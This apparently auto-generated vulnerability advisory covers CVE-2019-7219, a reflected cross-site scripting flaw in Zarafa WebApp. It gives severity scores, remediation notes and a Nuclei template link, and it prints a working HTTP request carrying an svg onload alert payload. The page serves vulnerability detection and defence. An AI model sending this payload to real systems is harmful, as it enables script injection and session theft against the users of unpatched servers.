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CVE-2019-7219: Zarafa WebApp <=2.0.1.47791 - Cross-Site Scripting

TitleZarafa WebApp <=2.0.1.47791 - Cross-Site Scripting
Authorpdteam
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
RemediationThis is a discontinued product. The issue was fixed in later versions. However, some former Zarafa WebApp customers use the related Kopano product instead.
CVSS Score6.1
EPSS Score0.43975
CVE IDCVE-2019-7219
CWE IDCWE-79
Tags cve cve2019 zarafa xss vuln

🔍 Vulnerability Description

Zarafa WebApp 2.0.1.47791 and earlier contains an unauthenticated reflected cross-site scripting vulnerability. An attacker can execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.

🌐 HTTP Request

GET /webapp/?fccc%27\%22%3E%3Csvg/onload=alert(/xss/)%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-7219.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-7219.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A